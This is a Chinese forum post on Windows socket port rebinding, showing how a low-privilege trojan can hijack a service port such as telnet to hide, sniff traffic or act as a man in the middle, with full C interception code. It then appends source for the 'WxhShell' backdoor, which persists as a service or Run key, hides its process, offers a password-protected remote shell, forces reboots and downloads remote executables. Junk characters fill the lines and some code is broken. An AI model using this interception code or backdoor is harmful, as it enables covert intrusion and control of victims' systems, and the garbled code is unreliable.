社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19823阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T`?n,'!(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wu2:'y>n  
#EG?9T  
  saddr.sin_family = AF_INET; 1i3V!!r  
&hI>L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EjSD4  
yp p4L|R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4{Udz!  
=&2$/YX0D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;g9%&  
E?Cj/o  
  这意味着什么?意味着可以进行如下的攻击: J)*8|E9P  
:_Fxy5}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hd 0Xx}3&  
Vv7PCaq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =/Wu'gG)  
>jMH#TZaX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "15=ET  
1~@|e Wr|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]_u`EvEx6  
o@3B(j;J`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /UHp [yod  
,d cg?48  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )b92yP{  
E eB3 }  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $)*xC!@6X  
TEWAZVE*  
  #include Pbe7SRdr^  
  #include <tuS,.  
  #include Dx3%K S  
  #include    c&*l"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kOipH |.x  
  int main() dE [Ol   
  { Ek ZjO Ci  
  WORD wVersionRequested; K]<u8eF  
  DWORD ret; b[srG6{ &  
  WSADATA wsaData; k 4B_W  
  BOOL val; OQFi.  8  
  SOCKADDR_IN saddr; F;kvH  
  SOCKADDR_IN scaddr; B {aU;{1  
  int err; W-XpJ\_  
  SOCKET s; ffk4mhH  
  SOCKET sc; }9CrFTbx;  
  int caddsize; iyj3QLqE  
  HANDLE mt; r6t&E%b  
  DWORD tid;   X NE+(Bt  
  wVersionRequested = MAKEWORD( 2, 2 ); } 0;Sk(B>  
  err = WSAStartup( wVersionRequested, &wsaData ); C[8KlD  
  if ( err != 0 ) { \Y e%o}.{  
  printf("error!WSAStartup failed!\n"); 1lcnRHO  
  return -1; lKWr=k~  
  } _|<BF  
  saddr.sin_family = AF_INET; $<OhGk-  
   ug#<LO-.Rd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Wc|z7P~',%  
E[?kGR[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _{Y$o'*#I  
  saddr.sin_port = htons(23); T3z(k la  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yM ,VrUh  
  { <%KUdkzEP  
  printf("error!socket failed!\n"); ? )_7U  
  return -1; 0 d4cE10  
  } G{o+R]Us  
  val = TRUE; H$tb;:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q2c*.Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N9]xJgTze  
  { 4ht\&2&:  
  printf("error!setsockopt failed!\n"); O]qPmEj  
  return -1; /9_#U#vhY  
  } T~J? AKx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^i`*Wm@!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h|p[OecG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R 1'`F{56  
?N>pZR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :;4SQN{2 O  
  { F=}Z51|:~  
  ret=GetLastError(); |sc Uo~  
  printf("error!bind failed!\n"); g.a| c\WH  
  return -1; H/J<Pd$p  
  } RrWNJ&o  
  listen(s,2); vg(K$o{BT  
  while(1) JJ5C}`(  
  { zu<3^=3  
  caddsize = sizeof(scaddr); RH1uVdJ1  
  //接受连接请求 7Fl-(Nv`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kon=il<@  
  if(sc!=INVALID_SOCKET) Ei~f`{i  
  { QlD6i-a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~lw<799F6  
  if(mt==NULL) uvB1VV4  
  { Y=Hz;Ni  
  printf("Thread Creat Failed!\n"); xR908+>5  
  break; :3? |VE F  
  } ~E*d G  
  } DB@EVH  
  CloseHandle(mt); >}SRSqJu  
  } l h/&__  
  closesocket(s); M<[ ?g5=#  
  WSACleanup(); irMd jG  
  return 0; %MJ;Q?KB  
  }   c_1/W{  
  DWORD WINAPI ClientThread(LPVOID lpParam) mP-2s;q  
  { %;O}FyP  
  SOCKET ss = (SOCKET)lpParam; 8R xc&`_X  
  SOCKET sc; >&Fa(o;*  
  unsigned char buf[4096]; x~/+RF XF  
  SOCKADDR_IN saddr; g:gB`8w?  
  long num; ^\wl2  
  DWORD val; }.{}A(^YR  
  DWORD ret; :'*DMW~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EXpSh}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %^.P~s6  
  saddr.sin_family = AF_INET; K{b-TT 4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @GG ccF  
  saddr.sin_port = htons(23); Pp_V5,i\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G;]:$J  
  { _N'75  
  printf("error!socket failed!\n"); VzwPBQ -  
  return -1; @2' %o<lF  
  } (ZPXdr  
  val = 100; jJ++h1 K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `="v>qN2\  
  { h0VzIuV  
  ret = GetLastError(); nGrVw&  
  return -1; ;nB2o-%  
  } 3s(Ia^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v8@eW.I1  
  {  @Fx@5e  
  ret = GetLastError(); ;NsO  
  return -1; vWY(%Q,  
  } r4eUZ .8R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *gu8-7'  
  { RJc%, ]:  
  printf("error!socket connect failed!\n"); #Lka+l;L7  
  closesocket(sc); rsF:4G"%  
  closesocket(ss); i_U}{|j  
  return -1; kh?. K#  
  } Eark)  
  while(1) 2)\vj5<~$  
  { t(?<#KUB-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `ROEV~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h&'=F)5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vJC f~'  
  num = recv(ss,buf,4096,0); Alz~-hqQ  
  if(num>0) 0BTLcEqgZ  
  send(sc,buf,num,0); kRot7-7I|  
  else if(num==0) ((MLM3zJ  
  break; p&3> `C  
  num = recv(sc,buf,4096,0); I/s.xk_i  
  if(num>0) J22r v(  
  send(ss,buf,num,0); kO ![X^V  
  else if(num==0) R&So4},B  
  break; . U/k<v<)6  
  } G5c7:iGm/c  
  closesocket(ss); ~_PYNY`"  
  closesocket(sc); Ew4 g'A:H  
  return 0 ; x9V {R9_gf  
  } 5py R ~+  
y1C/v:;  
lbkL yp2  
========================================================== #T% zfcUj  
gdi`x|0  
下边附上一个代码,,WXhSHELL yQ[u3tI  
e@jfIF0=}  
========================================================== _D-Riu>#J  
m6U8)!)T  
#include "stdafx.h" 5"=:#zN  
E`xU m9F  
#include <stdio.h> r_2b tpL^  
#include <string.h> XxOn3i  
#include <windows.h> <t}?$1  
#include <winsock2.h> u!1/B4!'O  
#include <winsvc.h> B8~= RmWLl  
#include <urlmon.h> (@Zcx9  
yJ/#"z=h?  
#pragma comment (lib, "Ws2_32.lib") #s+Q{2s  
#pragma comment (lib, "urlmon.lib") %#k,6 ;m  
6tdI6  
#define MAX_USER   100 // 最大客户端连接数 $Jf9;.  
#define BUF_SOCK   200 // sock buffer r/AHJU3&eY  
#define KEY_BUFF   255 // 输入 buffer GZ3/S|SMP  
CW0UMPE5  
#define REBOOT     0   // 重启 :s*>W$Wp4  
#define SHUTDOWN   1   // 关机 zilaP)5x6  
(=JueF@J  
#define DEF_PORT   5000 // 监听端口 -1 W  
yXF|Sqv  
#define REG_LEN     16   // 注册表键长度 &r@H(}$1\  
#define SVC_LEN     80   // NT服务名长度 j'Wp  
SE!L :  
// 从dll定义API <]Y[XI(kr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z5EVG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [hU=m S8=^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B||c(ue  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kp`0erJqw  
3*WS"bt  
// wxhshell配置信息 *Nlu5(z  
struct WSCFG { O5;-Om  
  int ws_port;         // 监听端口 o!Fl]3F  
  char ws_passstr[REG_LEN]; // 口令 Yu3_=: <C  
  int ws_autoins;       // 安装标记, 1=yes 0=no i<iXHBs  
  char ws_regname[REG_LEN]; // 注册表键名 <SQ(~xYi  
  char ws_svcname[REG_LEN]; // 服务名 263*: Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 btQet.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5Y-2 #  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PU+1=%'V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ./.=Rw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :[?!\m%0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %fpsc _  
Dl\d_:+  
}; Dh`=ydI5  
3!Bj{;A  
// default Wxhshell configuration xOIg|2^8  
struct WSCFG wscfg={DEF_PORT, &@; RI~  
    "xuhuanlingzhe", BXA]9eK  
    1, _,Q[2gQ5N  
    "Wxhshell", !$r9C/k  
    "Wxhshell", 3bts7<K=  
            "WxhShell Service", ^s*\Qw{Ii  
    "Wrsky Windows CmdShell Service", -S$$/sR  
    "Please Input Your Password: ", +/q0Y`v  
  1, 76cEKHa<  
  "http://www.wrsky.com/wxhshell.exe", -+P7:4/  
  "Wxhshell.exe" .)`-Hkxa  
    }; F< |c4  
*?N<S$m  
// 消息定义模块 a#QBy P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }+DDJ6Jzs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C1 {ZW~"YI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xid:"y=_&  
char *msg_ws_ext="\n\rExit."; \7 Mq $d  
char *msg_ws_end="\n\rQuit."; <gcmsiB|  
char *msg_ws_boot="\n\rReboot..."; o)!m$Q~v  
char *msg_ws_poff="\n\rShutdown..."; #=x+ [d+  
char *msg_ws_down="\n\rSave to "; & rQD`E/  
 UTX](:TC  
char *msg_ws_err="\n\rErr!"; wlVvxX3%  
char *msg_ws_ok="\n\rOK!"; BWEv1' v  
.. UoyBV  
char ExeFile[MAX_PATH]; <[9?Rj@  
int nUser = 0; (nz}J)T&  
HANDLE handles[MAX_USER]; Omb.53+  
int OsIsNt; ~ B]jV$=  
;]@exp 5  
SERVICE_STATUS       serviceStatus; O PiaG!3<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M.[wKGX(  
K;C_Z/<%  
// 函数声明 VN+\>j-  
int Install(void); (H-cDsh;c  
int Uninstall(void); {]["6V6W  
int DownloadFile(char *sURL, SOCKET wsh); R&!]Rl9hf  
int Boot(int flag); +-P<CCvWz  
void HideProc(void); i[_| %'p  
int GetOsVer(void); ^4UcTjh  
int Wxhshell(SOCKET wsl); pK"&QPv  
void TalkWithClient(void *cs); y.ql#eQ,  
int CmdShell(SOCKET sock); M[z3 f  
int StartFromService(void); >)y$mc6  
int StartWxhshell(LPSTR lpCmdLine); YkI9d&ib+  
4k$0CbHx0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 97]4 :Zv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `Sx.|`x8  
Yj3*)k  
// 数据结构和表定义 QQ~23TlA  
SERVICE_TABLE_ENTRY DispatchTable[] = yM|g|;U  
{ qmID-t"  
{wscfg.ws_svcname, NTServiceMain}, cz>mhD  
{NULL, NULL} tQ[]Rc  
}; 2_N/wR#=&  
qp@m&GH  
// 自我安装 EW9b*r7./  
int Install(void) g? I!OG  
{ .FJ j  
  char svExeFile[MAX_PATH]; <S{7Ro  
  HKEY key; yU!GS-  
  strcpy(svExeFile,ExeFile); {\Ys@FF  
@E(P9zQ/zy  
// 如果是win9x系统,修改注册表设为自启动 D&f!( n  
if(!OsIsNt) { %r P !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S ;h&5.p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F-tFet  
  RegCloseKey(key); dm  2EH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9.]kOs_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KcnjF^k  
  RegCloseKey(key); l# BZzJ?~  
  return 0; r},lu=em  
    } !"%S#nrL$  
  } vlAy!:CV  
} `Jqf**t  
else { F;W'  
kw#X]`c3  
// 如果是NT以上系统,安装为系统服务 AbG&9=Ks  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :fW.-^"VP  
if (schSCManager!=0) [tz u;/  
{ u ]SZ{[ e  
  SC_HANDLE schService = CreateService UI_v3c3b  
  ( <dS5|||  
  schSCManager, > '.[G:b  
  wscfg.ws_svcname, qZP:@r"  
  wscfg.ws_svcdisp, _1\poAy  
  SERVICE_ALL_ACCESS, ?ff [$ab  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %VS 2M #f  
  SERVICE_AUTO_START, c l9$g7  
  SERVICE_ERROR_NORMAL, SlT7L||Ww  
  svExeFile, ;tXY =  
  NULL, hWm0$v 1p  
  NULL, $i -zMa  
  NULL, df yrn%^Ia  
  NULL, _ }^u-fJ/~  
  NULL lm!F M`m  
  ); ]h0Y8kpd  
  if (schService!=0) <irpmRQr  
  { _trpXkQp  
  CloseServiceHandle(schService); "H@Fe  
  CloseServiceHandle(schSCManager); A`g.[7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -FaaFw:Z;A  
  strcat(svExeFile,wscfg.ws_svcname); cXMa\#P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <oQ6ZX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !x6IV25  
  RegCloseKey(key); Wy!uRzbBv  
  return 0; w7r'SCVh3+  
    } 1Lc8fP$  
  } 0a@c/ XGBp  
  CloseServiceHandle(schSCManager); CxkMhd8qz  
} 1NW>wo  
} >I|<^$/  
1B(G]o_>!  
return 1; PH[4y:^DN  
} i:{:xKiCa  
PQi }Evxa  
// 自我卸载 fmBkB8  
int Uninstall(void) 9V.+U7\w  
{ /K[]B]1NE  
  HKEY key; ^SgN(-QH  
$.;iu2iyo  
if(!OsIsNt) { K(' 9l& A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k 5t{  
  RegDeleteValue(key,wscfg.ws_regname); 'Z y{mq\  
  RegCloseKey(key); Z rA Um  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KjC[q  
  RegDeleteValue(key,wscfg.ws_regname); ^^7gDgT  
  RegCloseKey(key); X:DMT>5k  
  return 0; @f\ X4!e*y  
  } :bI,rEW#_  
} /8:gVXZi  
} }=TqJy1  
else { t Z+0}d  
mqubXS;J|P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R&gWqt/  
if (schSCManager!=0) {({ R:!c  
{ !eV^Ah>PZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G}Gb|sD Zq  
  if (schService!=0) } !Xf&c{7{  
  { 1+S g"?8  
  if(DeleteService(schService)!=0) { N-Qu/,~+  
  CloseServiceHandle(schService); x4@MO|C  
  CloseServiceHandle(schSCManager); Cy]"  
  return 0; . c#90RP  
  } Oxpo6G  
  CloseServiceHandle(schService); =Z^un&'  
  } )eVzSj>MT  
  CloseServiceHandle(schSCManager); GpScc'a7  
} U-ERhm>uk  
} pz.Y=V\t  
coW)_~U|  
return 1; =P 1RdyP  
} LE<:.?<Z-  
^kc>m$HY  
// 从指定url下载文件  MK<  
int DownloadFile(char *sURL, SOCKET wsh) 6^WiZ^~  
{ iOKr9%9?Z  
  HRESULT hr;  y/z9Ce*>  
char seps[]= "/"; p!C_:Z5i  
char *token; ^*HVP*   
char *file; {`($Q$Q1  
char myURL[MAX_PATH]; }#1U D  
char myFILE[MAX_PATH]; u}^a^B$  
llHN2R%(  
strcpy(myURL,sURL); C3]\$  
  token=strtok(myURL,seps); }klE0<W|5\  
  while(token!=NULL) N`J:^,H  
  { L00Sp#$\  
    file=token; 2*N&q|ED  
  token=strtok(NULL,seps); ys:1Z\$P  
  } 4F}g(  
*xEI Zx  
GetCurrentDirectory(MAX_PATH,myFILE); %g!yccD9  
strcat(myFILE, "\\"); bXa %EMF  
strcat(myFILE, file); tq2-.]Y@U  
  send(wsh,myFILE,strlen(myFILE),0); `\Uc4lRS  
send(wsh,"...",3,0); Iq^~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c(QG4.)m  
  if(hr==S_OK) ?ykVfO'  
return 0; 2,rY\Nu_  
else f+Pg1Q0zI  
return 1; ZD$-V 3e`  
<\B],M1=s=  
} VaOpO8y`  
AN|jFSQ'  
// 系统电源模块 4he v ;  
int Boot(int flag) Z&AHM &,yj  
{ Np|:dP9#}  
  HANDLE hToken; =>gyc;{2K<  
  TOKEN_PRIVILEGES tkp; &*Q|d*CP  
rhlW  
  if(OsIsNt) { 8<wtf]x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z'7 c^c7_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v!WU |=u  
    tkp.PrivilegeCount = 1; QC$=Fs5+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QCZ,K" y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U>e3_td3,  
if(flag==REBOOT) { 6n2Vx1b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h;cB_6vt  
  return 0; G1`mn$`kq  
} w`H.ey  
else { [Q2S3szbt6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <~IH`  
  return 0; 0X ] ekq  
} ?^+#pcX]t|  
  } 4d{"S02h  
  else { r[C3u[  
if(flag==REBOOT) { F{a0X0ru~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S!`4Bl  
  return 0; @d8&3@{R^  
} :F!dTD$  
else { EM>c%BH<N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eONeWY9  
  return 0; .y/NudD  
} rCnV5Yb0O  
} d/ 'A\"o+  
| TQedC  
return 1; 3&drof\{  
} n?<# {$  
Zztt)/6*  
// win9x进程隐藏模块 rw}5nv  
void HideProc(void) y]~+`9  
{ ?{ 8sT-Z-L  
Z~-T0Ab-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E.7AbHph0  
  if ( hKernel != NULL ) `Yo -5h  
  { }`+^|1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ee$" O 6*!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hJ$C%1;  
    FreeLibrary(hKernel); jm#F*F vL  
  } SoXX}<~E4  
`JY>v io  
return; 4 _c:Vl  
} n]6}yJJo  
@4 Os?_gJ\  
// 获取操作系统版本 E7Gi6w~\  
int GetOsVer(void) %>I?'y^  
{ c'TiWZP~  
  OSVERSIONINFO winfo; Y*5@|Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M&}oat*  
  GetVersionEx(&winfo); _Vk,&'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HwV gT"  
  return 1; WacU@L $A  
  else O3<Y_I^  
  return 0; eaYkYuS/  
} ^J#*n;OQ3A  
Ht=6P)  
// 客户端句柄模块 ?hry=I(7r  
int Wxhshell(SOCKET wsl) k^'d@1z;C  
{ gN!E*@7  
  SOCKET wsh; +hyWo]nW0  
  struct sockaddr_in client; yp^[]Mz=  
  DWORD myID; .JD4gF2N  
1"4nmw}  
  while(nUser<MAX_USER) P"~qio-  
{ _($-dJ {  
  int nSize=sizeof(client); yuy+}]uB@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \KnD"0KW   
  if(wsh==INVALID_SOCKET) return 1; %Zv(gI`A  
I 1VEm?CQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z@c0(ol  
if(handles[nUser]==0) {g:/ BFLr#  
  closesocket(wsh); K,L>  
else !e#I4,fn  
  nUser++; o?Tp=Ge  
  } e8P!/x-y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |/T<]+X;  
JQbMw>Y  
  return 0; @dT: 1s  
} E^EU+})Ujr  
ai;gca_P#  
// 关闭 socket q_T?G e  
void CloseIt(SOCKET wsh) tmY-m,U  
{ .1[2 CjQ  
closesocket(wsh); hklO:,`  
nUser--; 1$3XKw'  
ExitThread(0); faL^=CAe  
} gQk#l\w _  
 Z,8+@  
// 客户端请求句柄 vElL.<..  
void TalkWithClient(void *cs) zoJkDr=jn  
{ Z 9 q{r s  
4-}A'fTU8  
  SOCKET wsh=(SOCKET)cs; @L>NN>?SGQ  
  char pwd[SVC_LEN]; >gOI]*!5  
  char cmd[KEY_BUFF]; !+|N<`  
char chr[1]; C$..w80/1  
int i,j; (61twutC  
K+\0}qn  
  while (nUser < MAX_USER) { Y=WN4w  
qY~$wVY(  
if(wscfg.ws_passstr) { hO<w]jV,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); meM.?kk(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (HV~ '5D  
  //ZeroMemory(pwd,KEY_BUFF); He71h(BHm  
      i=0; s ?Qb{  
  while(i<SVC_LEN) { c[d'1=Qiy  
-RqAT1  
  // 设置超时 nGJIjo_I  
  fd_set FdRead; :86luLFm  
  struct timeval TimeOut; l"pz )$eE  
  FD_ZERO(&FdRead); (h@yA8>n  
  FD_SET(wsh,&FdRead); >s 8:1l  
  TimeOut.tv_sec=8; j2{,1hj  
  TimeOut.tv_usec=0; l]kl V+9t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I ;11j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D-+)M8bt  
@|UIV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C+#;L+$Gi  
  pwd=chr[0]; kO`3ENN  
  if(chr[0]==0xd || chr[0]==0xa) { 1~xn[acy  
  pwd=0; { d2f)ra.  
  break; |>o0d~s  
  } v[yTk[zd0  
  i++; U0bE B  
    } f w>Gx9  
M_.,c Vk  
  // 如果是非法用户,关闭 socket HfeflGme*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]R0A{+]n  
} I}W-5%  
KutgW#+40  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : $52Ds!i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I9G*iu=U   
8$jT#\_  
while(1) { `@.s!L(V  
+@7x45;D  
  ZeroMemory(cmd,KEY_BUFF); &F*QYz[  
m[Ac'la  
      // 自动支持客户端 telnet标准   !wb~A0m  
  j=0; xd BZ^Q  
  while(j<KEY_BUFF) { 5bznM[%xO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d @kLLDP  
  cmd[j]=chr[0]; LX?r=_\  
  if(chr[0]==0xa || chr[0]==0xd) { (#l_YI -  
  cmd[j]=0; G$kwc F'C  
  break; NUNn[c  
  } UE#Ni 5  
  j++; O\8|niW|  
    } F?,&y)ri  
U!I_i*:U  
  // 下载文件 rs<&x(=Hv  
  if(strstr(cmd,"http://")) { \gzwsT2&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rd1ku=  
  if(DownloadFile(cmd,wsh)) hy&Hl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z9kX`M+  
  else <%#y^_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q~dg   
  } e}4^N1'd/  
  else { .5CELtR  
#M9D" <pn}  
    switch(cmd[0]) { #m$%S%s  
  K,,@',  
  // 帮助 ZM^;%(  
  case '?': {  T[[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8OtUY}R  
    break; WT!\X["FI$  
  } a*8.^SdzR  
  // 安装 ;@Hi*d[  
  case 'i': { e%c5 OZ3~  
    if(Install()) K#sb"x`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i7FR78^  
    else ._8cJf.ae  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HXV73rDA  
    break; Di"9 M(6vf  
    } +2fJ  
  // 卸载 @[kM1:G-F{  
  case 'r': { NlEWm8u   
    if(Uninstall()) pD6g+Taj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JTB~nd>  
    else jhbH6=f4]^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {2clOUi  
    break; _,0!ZP-  
    } = hX-jP  
  // 显示 wxhshell 所在路径 od's1'c R  
  case 'p': { x)wt.T?eL  
    char svExeFile[MAX_PATH]; ~)8i5p;P/k  
    strcpy(svExeFile,"\n\r"); |Ge/|;.v`  
      strcat(svExeFile,ExeFile); 3a)Q:#okD  
        send(wsh,svExeFile,strlen(svExeFile),0); R}6la.mQ  
    break; Tocdh.H|  
    } "XsY~  
  // 重启 1@z@  
  case 'b': { ow$l!8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;AB,:*  
    if(Boot(REBOOT)) O*/-I pM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJt9hDM$0  
    else { 3N*C]  
    closesocket(wsh); NE%yv,B  
    ExitThread(0); (Dh;=xG  
